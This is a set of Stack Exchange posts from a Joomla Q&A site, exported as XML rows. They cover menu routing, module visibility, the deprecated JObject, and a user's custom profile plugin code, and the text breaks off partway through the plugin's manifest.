  <row Id="9905" PostTypeId="2" ParentId="9902" CreationDate="2015-05-12T14:28:35.523" Score="2" Body="&lt;p&gt;Quite a simple thing. If your URL is looking like below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.yourdomain.com/id-categoryalias/id-articlealias&quot; rel=&quot;nofollow&quot;&gt;http://www.yourdomain.com/id-categoryalias/id-articlealias&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should consider creating menu item for category (in this case you are going to create menu item for your Blog Category with &quot;Category Blog&quot; as Menu Item type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then able to access your article with following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.yourdomain.com/menuitem-alias-for-your-category/id-articlealias&quot; rel=&quot;nofollow&quot;&gt;http://www.yourdomain.com/menuitem-alias-for-your-category/id-articlealias&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would not see Unnecessary Modules loaded on that page. (Assuming you have not added &quot;Menu Assignment&quot; to that particular Category)&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-12T14:28:35.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9906" PostTypeId="2" ParentId="9902" CreationDate="2015-05-12T14:29:58.303" Score="2" Body="&lt;p&gt;I recommend you try an extension called &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Module manager&lt;/a&gt;. This free extension will add new functionality to your modules, and has several conditions as to where a module should be visible. Even if what you want to achieve can be done with the regular Joomla module manager, it might be easier to use this extension if you're new to Joomla. You can set a module to hide based on view &lt;em&gt;type&lt;/em&gt;, e.g. &quot;hide in article view&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ahQtr.jpg&quot; alt=&quot;Advanced Module Manager&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand in your question, you're trying to hide a module on the full blog view (or articles, as they are called in Joomla). I assume you are familiar with &lt;a href=&quot;https://joomla.stackexchange.com/questions/4456/how-to-assign-a-module-to-different-pages&quot;&gt;Menu Assignment&lt;/a&gt; in order to display modules for certain pages only. The best way to hide a module for full article view (the content displayed after someone clicks &quot;Read more&quot; in your blog view) is to create a new, hidden menu item and set it to &quot;Single Article&quot;. Select any article, and save your menu item. Finally, make sure to change the settings in the module you want to hide and disable it on that particular menu item.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-12T14:52:17.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9908" PostTypeId="1" AcceptedAnswerId="9909" CreationDate="2015-05-12T14:47:13.370" Score="6" ViewCount="717" Body="&lt;p&gt;While creating custom component, I got to know that, JObject is deprecated. Keeping this in mind, What is the recommended method of creating blank Object. Do we have any substitution of JObject class?&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-12T18:31:57.163" Title="Substitute of JObject" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9909" PostTypeId="2" ParentId="9908" CreationDate="2015-05-12T16:03:17.377" Score="6" Body="&lt;p&gt;Quote from @Bakual on &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/6125&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;There is no class to replace it. JObject is a historic class which isn't really needed anymore with current PHP versions.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;The error handling should instead be done using exceptions. Other than that it only contains some setter and getter methods. Either create own set/get methods in your class or use for example our Registry class if you need more advanced property handling.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So if you need to create a blank object, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$blank = new stdClass();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-05-12T18:31:57.163" LastActivityDate="2015-05-12T18:31:57.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9910" PostTypeId="2" ParentId="9859" CreationDate="2015-05-12T19:32:32.470" Score="1" Body="&lt;p&gt;After a lot of research I couldn't find any possible solution to this. So I overridden categoryedit field type and changed the following code in getOptions method (the field can be created in your component's models/fields directory so that it can be referenced in your form xml)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter language&#xA;if (!empty($this-&amp;gt;element['language']))&#xA;{&#xA;    $subQuery-&amp;gt;where('language = ' . $db-&amp;gt;quote($this-&amp;gt;element['language']));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter language&#xA;$languages = array(JFactory::getLanguage()-&amp;gt;getTag(), '*');&#xA;if (!empty($this-&amp;gt;element['language']))&#xA;{&#xA;    $languages[] = $this-&amp;gt;element['language'];&#xA;}&#xA;&#xA;$subQuery-&amp;gt;where('language IN (' . implode(',', $db-&amp;gt;quote($languages)).')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps anyone looking for similar solution.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-12T19:32:32.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9913" PostTypeId="1" AcceptedAnswerId="23753" CreationDate="2015-05-13T04:29:31.413" Score="0" ViewCount="86" Body="&lt;p&gt;I'm updating a website selling online services that has a complimentary App acting as a mobile front end to the Joomla v1.5 CMS.&#xA;The App communicates via a component (com_mobile) using JSON data exchanges.&#xA;The URL's are typically of the type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_mobile&amp;amp;view=public&amp;amp;task=all&amp;amp;format=raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Researching the latest v3.4 Joomla I find that format=raw has been dropped and there is now a Joomla Ajax Interface (com_ajax) component.&#xA;Nice, but I don't want to break the usability of the nearly 100,000 mobile installations already using the (soon to be legacy) v1.5 url format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to re-introduce the &quot;format=raw&quot; option into the latest version of Joomla? Other suggestions welcome (url rewrite?) ?&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2018-11-13T21:10:02.770" Title="How do I migrate AJAX interface from 1.5 to 3.x for mobile App" Tags="|joomla-3.x|component|joomla-api|ajax|joomla-1.5|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9914" PostTypeId="1" CreationDate="2015-05-13T09:30:33.807" Score="0" ViewCount="856" Body="&lt;p&gt;I have made my school's Website, which needs to update every single day some news or events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decided to divide the Home page in 2 columns: News &amp;amp; Events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 2 columns should be 2 positions x &amp;amp; y; they should show just the articles which have been told to display in that position,&#xA;OR&#xA;each position should show all the articles of a specified category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, my biggest problem isn't to assign a category to an article or to give a position to this one; but my real problem is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I create a position of the exactsize I want and to 'position' it (sorry for this word-joke) in the exact place I wish it to appear?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know I need to modify a file via FTP to create a new position, but how do I 'customize it' in this way? In addition I'd like to make them appear just for a limited time, after that they all will be displayed in a general article in another menu voice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am leaving you my Website &lt;a href=&quot;http://www.liceocroceroma.it/&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;. I really know you'd need maybe my template file? If so please do not rate this post yet but ask me for the exact file you wish to have before helping here, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Consider that right now we have 2 columns but they're not 2 positions but 2 articles side by side which is horrible and not dynamic!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5238" LastActivityDate="2015-06-17T17:18:24.023" Title="How to create 2 columns as positions in the Home page?" Tags="|joomla-2.5|templates|positions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9916" PostTypeId="2" ParentId="5388" CreationDate="2015-05-13T11:52:04.147" Score="4" Body="&lt;p&gt;Probably the late answer to this question. But here is what I used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the main controller.php file I overrided display function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = array())&#xA;{&#xA;        $user = JFactory::getUser();&#xA;        $app  = JFactory::getApplication();&#xA;&#xA;        $view = $this-&amp;gt;input-&amp;gt;get('view');&#xA;&#xA;        if ($view == 'someview' || $view == 'anotherview')&#xA;        {&#xA;            if ($user-&amp;gt;get('guest') == 1)&#xA;            {&#xA;                $uri = JUri::getInstance();&#xA;                $this-&amp;gt;setRedirect(&#xA;                        JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . base64_encode($uri-&amp;gt;toString())), $app-&amp;gt;enqueueMessage(JText::_('COM_YOURCOMPONENT_LOGIN_REQUIRED'), 'warning')&#xA;                );&#xA;&#xA;                return;&#xA;            }&#xA;         }&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-13T11:52:04.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9917" PostTypeId="2" ParentId="9899" CreationDate="2015-05-13T12:24:15.627" Score="2" Body="&lt;p&gt;These options are generated (only) by extensions created with &lt;a href=&quot;http://www.component-creator.com/en/&quot; rel=&quot;nofollow&quot;&gt;component-creator.com&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-05-13T12:24:15.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9918" PostTypeId="1" AcceptedAnswerId="9919" CreationDate="2015-05-13T12:56:04.680" Score="6" ViewCount="66" Body="&lt;p&gt;Is it possible for components to react to events - i.e. in some way become an observer to plugin events?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-05-13T13:39:08.770" Title="Can components / non-plugins react to events?" Tags="|component|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9919" PostTypeId="2" ParentId="9918" CreationDate="2015-05-13T13:39:08.770" Score="3" Body="&lt;p&gt;The simple answer is No. By default, when a trigger is executed by only the associated plug-in observers are going to be executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could create your own system plugin to propagate the event into your component observer. Be aware, that every new event broadcast adds a new executing step, just to reach a deeper level.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-13T13:39:08.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9920" PostTypeId="1" AcceptedAnswerId="9932" CreationDate="2015-05-13T15:50:24.060" Score="5" ViewCount="2572" Body="&lt;p&gt;I'm creating a module for a website, and to get the module parameters I do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//-- Get a parameter from the module's configuration&#xA;$company1_enable = $params-&amp;gt;get('company1_enable');&#xA;$company1_name = $params-&amp;gt;get('company1_name');&#xA;$company1_logo = $params-&amp;gt;get('company1_logo');&#xA;$company1_image = $params-&amp;gt;get('company1_image');&#xA;$company1_description = $params-&amp;gt;get('company1_description');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this module must support ~40 companies, meaning I would have to repeat this code 40 times, only changing the number after &quot;company&quot; (&lt;code&gt;$company2_enable = $params-&amp;gt;get('company2_enable');&lt;/code&gt;, &lt;code&gt;$company3_enable = $params-&amp;gt;get('company3_enable');&lt;/code&gt; etc. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to use a loop on the &lt;code&gt;$params&lt;/code&gt; object in order to do this more effectively?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-14T09:35:16.300" Title="Get module parameters using loop" Tags="|joomla-3.x|joomla-2.5|php|module-params|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9921" PostTypeId="1" CreationDate="2015-05-13T16:23:31.643" Score="0" ViewCount="180" Body="&lt;p&gt;I am displaying several items in my homepage, which are grouped in a category. Let's say I have displayed several cars in my homepage, all of them are in the category 'Cars'.&#xA;I have a menu item called 'Cars' which is displaying all items inside this category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem is when I click any item (car) it displays in my homepage, instead of displaying in my current menu 'Cars'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using K2, and for my menu item Cars I have it to display &lt;code&gt;K2 » Latest items from (one or more) users or categories&lt;/code&gt; where I selected Category 'Cars'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it displaying my items in my homepage when I click any Car Item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="126" LastEditDate="2015-05-18T08:28:46.643" LastActivityDate="2015-05-18T08:28:46.643" Title="Why Item of a category is displayed in homepage, instead of its category menu item?" Tags="|joomla-3.x|menu-item|k2|category|" AnswerCount="1" CommentCount="3" ClosedDate="2015-05-22T09:45:36.920" ContentLicense="CC BY-SA 3.0" />
  <row Id="9923" PostTypeId="2" ParentId="9920" CreationDate="2015-05-13T18:55:06.210" Score="3" Body="&lt;p&gt;if you using joomla 3.2+ you can use &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow&quot;&gt;repeatable field&lt;/a&gt; or if you are using 3.1 and older it's recommended to &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;create your own field&lt;/a&gt; contains array of fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you end up with &lt;code&gt;$params-&amp;gt;get('company');&lt;/code&gt; and this will be returning whole set for companies. &lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-13T18:55:06.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9924" PostTypeId="2" ParentId="9921" CreationDate="2015-05-13T19:01:52.717" Score="0" Body="&lt;p&gt;Lets start with menu, create this secondary menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Cars - display k2 category.&#xA;    a. Car 1 - display k2 article&#xA;    b. Car 2 - display k2 article.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on your homepage create &lt;code&gt;alias&lt;/code&gt; for &lt;code&gt;1. Cars - display k2 category.&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You end up with &lt;code&gt;example.com/cars/super-car-one&lt;/code&gt; link to your single article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards.&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2015-05-13T19:01:52.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9925" PostTypeId="1" AcceptedAnswerId="9960" CreationDate="2015-05-13T20:56:01.150" Score="2" ViewCount="1225" Body="&lt;p&gt;I've made my own profile plugin based on the tutorials &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile/copy-user-profile-plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. But they are a little outdated so I had to fill in some gaps. Now, the plugin installs correctly, and if I click on it, I'm able to see the display options for every field. However, the fields are not displaying neither in the frontend, nor in the backend. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code for the profile_ei.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;/**&#xA; * An example custom profile plugin.&#xA; */&#xA;class PlgUserProfileEI extends JPlugin{&#xA;    /**&#xA;     * Date of birth.&#xA;     * @var    string&#xA;     */&#xA;    private $date = '';&#xA;&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     * @var    boolean&#xA;     * @since  3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   object  &amp;amp;$subject  The object to observe&#xA;     * @param   array   $config    An array that holds the plugin configuration&#xA;     */&#xA;    public function __construct(&amp;amp; $subject, $config){&#xA;        parent::__construct($subject, $config);&#xA;        JFormHelper::addFieldPath(__DIR__ . '/fields');&#xA;    }&#xA;&#xA;    /**&#xA;     * Runs on content preparation&#xA;     *&#xA;     * @param   string  $context  The context for the data&#xA;     * @param   object  $data     An object containing the data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     */&#xA;    public function onContentPrepareData($context, $data){&#xA;        // Check we are manipulating a valid form.&#xA;        if (!in_array($context, array('com_users.profile', 'com_users.user', 'com_users.registration', 'com_admin.profile'))){&#xA;            return true;&#xA;        }&#xA;&#xA;        if (is_object($data)){&#xA;            $userId = isset($data-&amp;gt;id) ? $data-&amp;gt;id : 0;&#xA;&#xA;            if (!isset($data-&amp;gt;profile_ei) and $userId &amp;gt; 0){&#xA;                // Load the profile data from the database.&#xA;                $db = JFactory::getDbo();&#xA;                $db-&amp;gt;setQuery(&#xA;                    'SELECT profile_key, profile_value FROM #__user_profiles' .&#xA;                        ' WHERE user_id = ' . (int) $userId . &quot; AND profile_key LIKE 'profile_ei.%'&quot; .&#xA;                        ' ORDER BY ordering'&#xA;                );&#xA;&#xA;                try{&#xA;                    $results = $db-&amp;gt;loadRowList();&#xA;                }&#xA;                catch (RuntimeException $e){&#xA;                    $this-&amp;gt;_subject-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;&#xA;                    return false;&#xA;                }&#xA;&#xA;                // Merge the profile data.&#xA;                $data-&amp;gt;profile_ei = array();&#xA;&#xA;                foreach ($results as $v){&#xA;                    $k = str_replace('profile_ei.', '', $v[0]);&#xA;                    $data-&amp;gt;profile_ei[$k] = json_decode($v[1], true);&#xA;&#xA;                    if ($data-&amp;gt;profile_ei[$k] === null){&#xA;                        $data-&amp;gt;profile_ei[$k] = $v[1];&#xA;                    }&#xA;                }&#xA;            }&#xA;&#xA;            if (!JHtml::isRegistered('users.url')){&#xA;                JHtml::register('users.url', array(__CLASS__, 'url'));&#xA;            }&#xA;&#xA;            if (!JHtml::isRegistered('users.calendar')){&#xA;                JHtml::register('users.calendar', array(__CLASS__, 'calendar'));&#xA;            }&#xA;&#xA;            if (!JHtml::isRegistered('users.tos')){&#xA;                JHtml::register('users.tos', array(__CLASS__, 'tos'));&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * returns a anchor tag generated from a given value&#xA;     *&#xA;     * @param   string  $value  url to use&#xA;     *&#xA;     * @return mixed|string&#xA;     */&#xA;    public static function url($value){&#xA;        if (empty($value)){&#xA;            return JHtml::_('users.value', $value);&#xA;        }&#xA;        else{&#xA;            // Convert website url to utf8 for display&#xA;            $value = JStringPunycode::urlToUTF8(htmlspecialchars($value));&#xA;&#xA;            if (substr($value, 0, 4) == &quot;http&quot;){&#xA;                return '&amp;lt;a href=&quot;' . $value . '&quot;&amp;gt;' . $value . '&amp;lt;/a&amp;gt;';&#xA;            }&#xA;            else{&#xA;                return '&amp;lt;a href=&quot;http://' . $value . '&quot;&amp;gt;' . $value . '&amp;lt;/a&amp;gt;';&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * returns html markup showing a date picker&#xA;     *&#xA;     * @param   string  $value  valid date string&#xA;     *&#xA;     * @return  mixed&#xA;     */&#xA;    public static function calendar($value){&#xA;        if (empty($value)){&#xA;            return JHtml::_('users.value', $value);&#xA;        }&#xA;        else{&#xA;            return JHtml::_('date', $value, null, null);&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * return the translated strings yes or no depending on the value&#xA;     *&#xA;     * @param   boolean  $value  input value&#xA;     *&#xA;     * @return string&#xA;     */&#xA;    public static function tos($value){&#xA;        if ($value){&#xA;            return JText::_('JYES');&#xA;        }&#xA;        else{&#xA;            return JText::_('JNO');&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * adds additional fields to the user editing form&#xA;     *&#xA;     * @param   JForm  $form  The form to be altered.&#xA;     * @param   mixed  $data  The associated data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     */&#xA;    public function onContentPrepareForm($form, $data){&#xA;        if (!($form instanceof JForm)){&#xA;            $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;            return false;&#xA;        }&#xA;&#xA;        // Check we are manipulating a valid form.&#xA;        $name = $form-&amp;gt;getName();&#xA;&#xA;        if (!in_array($name, array('com_admin.profile', 'com_users.user', 'com_users.profile', 'com_users.registration'))){&#xA;            return true;&#xA;        }&#xA;&#xA;        // Add the registration fields to the form.&#xA;        JForm::addFormPath(__DIR__ . '/profiles');&#xA;        $form-&amp;gt;loadFile('profile', false);&#xA;&#xA;        $fields = array(&#xA;            'first_name',&#xA;            'dob',&#xA;            'tos'&#xA;        );&#xA;&#xA;        // Change fields description when displayed in front-end or back-end profile editing&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        if ($app-&amp;gt;isSite() || $name == 'com_users.user' || $name == 'com_admin.profile'){&#xA;&#xA;            $form-&amp;gt;setFieldAttribute('first_name', 'description', 'PLG_USER_PROFILE_EI_FILL_FIELD_DESC_SITE', 'profile_ei');&#xA;            $form-&amp;gt;setFieldAttribute('dob', 'description',              $form-&amp;gt;setFieldAttribute('postal_code', 'description', 'PLG_USER_PROFILE_EI_FILL_FIELD_DESC_SITE', 'profile_ei');&#xA;            $form-&amp;gt;setFieldAttribute('tos', 'description', 'PLG_USER_PROFILE_EI_FIELD_TOS_DESC_SITE', 'profile_ei');&#xA;        }&#xA;&#xA;        $tosarticle = $this-&amp;gt;params-&amp;gt;get('register_tos_article');&#xA;        $tosenabled = $this-&amp;gt;params-&amp;gt;get('register-require_tos', 0);&#xA;&#xA;        // We need to be in the registration form, field needs to be enabled and we need an article ID&#xA;        if ($name != 'com_users.registration' || !$tosenabled || !$tosarticle){&#xA;            // We only want the TOS in the registration form&#xA;            $form-&amp;gt;removeField('tos', 'profile_ei');&#xA;        }&#xA;        else{&#xA;            // Push the TOS article ID into the TOS field.&#xA;            $form-&amp;gt;setFieldAttribute('tos', 'article', $tosarticle, 'profile_ei');&#xA;        }&#xA;&#xA;        foreach ($fields as $field){&#xA;            // Case using the users manager in admin&#xA;            if ($name == 'com_users.user'){&#xA;                // Remove the field if it is disabled in registration and profile&#xA;                if ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field, 1) == 0 &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) == 0){&#xA;                    $form-&amp;gt;removeField($field, 'profile_ei');&#xA;                }&#xA;            }&#xA;            // Case registration&#xA;            elseif ($name == 'com_users.registration'){&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field, 1) &amp;gt; 0){&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field) == 2) ? 'required' : '', 'profile_ei');&#xA;                }&#xA;                else{&#xA;                    $form-&amp;gt;removeField($field, 'profile_ei');&#xA;                }&#xA;            }&#xA;            // Case profile in site or admin&#xA;            elseif ($name == 'com_users.profile' || $name == 'com_admin.profile'){&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0){&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) ? 'required' : '', 'profile_ei');&#xA;                }&#xA;                else{&#xA;                    $form-&amp;gt;removeField($field, 'profile_ei');&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method is called before user data is stored in the database&#xA;     *&#xA;     * @param   array    $user   Holds the old user data.&#xA;     * @param   boolean  $isnew  True if a new user is stored.&#xA;     * @param   array    $data   Holds the new user data.&#xA;     *&#xA;     * @return    boolean&#xA;     * @throws    InvalidArgumentException on invalid date.&#xA;     */&#xA;    public function onUserBeforeSave($user, $isnew, $data){&#xA;        // Check that the date is valid.&#xA;        if (!empty($data['profile_ei']['dob'])){&#xA;            try{&#xA;                $date = new JDate($data['profile_ei']['dob']);&#xA;                $this-&amp;gt;date = $date-&amp;gt;format('Y-m-d H:i:s');&#xA;            }&#xA;            catch (Exception $e){&#xA;                // Throw an exception if date is not valid.&#xA;                throw new InvalidArgumentException(JText::_('PLG_USER_PROFILE_EI_ERROR_INVALID_DOB'));&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * saves user profile data&#xA;     *&#xA;     * @param   array    $data    entered user data&#xA;     * @param   boolean  $isNew   true if this is a new user&#xA;     * @param   boolean  $result  true if saving the user worked&#xA;     * @param   string   $error   error message&#xA;     *&#xA;     * @return bool&#xA;     */&#xA;    public function onUserAfterSave($data, $isNew, $result, $error){&#xA;        $userId = JArrayHelper::getValue($data, 'id', 0, 'int');&#xA;&#xA;        if ($userId &amp;amp;&amp;amp; $result &amp;amp;&amp;amp; isset($data['profile_ei']) &amp;amp;&amp;amp; (count($data['profile_ei']))){&#xA;            try{&#xA;                // Sanitize the date&#xA;                $data['profile_ei']['dob'] = $this-&amp;gt;date;&#xA;&#xA;                $db = JFactory::getDbo();&#xA;                $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;delete($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                    -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = ' . (int) $userId)&#xA;                    -&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE ' . $db-&amp;gt;quote('profile_ei.%'));&#xA;                $db-&amp;gt;setQuery($query);&#xA;                $db-&amp;gt;execute();&#xA;&#xA;                $tuples = array();&#xA;                $order = 1;&#xA;&#xA;                foreach ($data['profile_ei'] as $k =&amp;gt; $v){&#xA;                    $tuples[] = '(' . $userId . ', ' . $db-&amp;gt;quote('profile_ei.' . $k) . ', ' . $db-&amp;gt;quote(json_encode($v)) . ', ' . ($order++) . ')';&#xA;                }&#xA;&#xA;                $db-&amp;gt;setQuery('INSERT INTO #__user_profiles VALUES ' . implode(', ', $tuples));&#xA;                $db-&amp;gt;execute();&#xA;            }&#xA;            catch (RuntimeException $e){&#xA;                $this-&amp;gt;_subject-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;&#xA;                return false;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Remove all user profile information for the given user ID&#xA;     *&#xA;     * Method is called after user data is deleted from the database&#xA;     *&#xA;     * @param   array    $user     Holds the user data&#xA;     * @param   boolean  $success  True if user was succesfully stored in the database&#xA;     * @param   string   $msg      Message&#xA;     *&#xA;     * @return  boolean&#xA;     */&#xA;    public function onUserAfterDelete($user, $success, $msg){&#xA;        if (!$success){&#xA;            return false;&#xA;        }&#xA;&#xA;        $userId = JArrayHelper::getValue($user, 'id', 0, 'int');&#xA;&#xA;        if ($userId){&#xA;            try{&#xA;                $db = JFactory::getDbo();&#xA;                $db-&amp;gt;setQuery(&#xA;                    'DELETE FROM #__user_profiles WHERE user_id = ' . $userId .&#xA;                        &quot; AND profile_key LIKE 'profile_ei.%'&quot;&#xA;                );&#xA;&#xA;                $db-&amp;gt;execute();&#xA;            }&#xA;            catch (Exception $e){&#xA;                $this-&amp;gt;_subject-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;&#xA;                return false;&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file manifest (profile_ei.xml) is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;user&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_user_profile_ei&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;X Ltda.&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;May 2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;(C) X 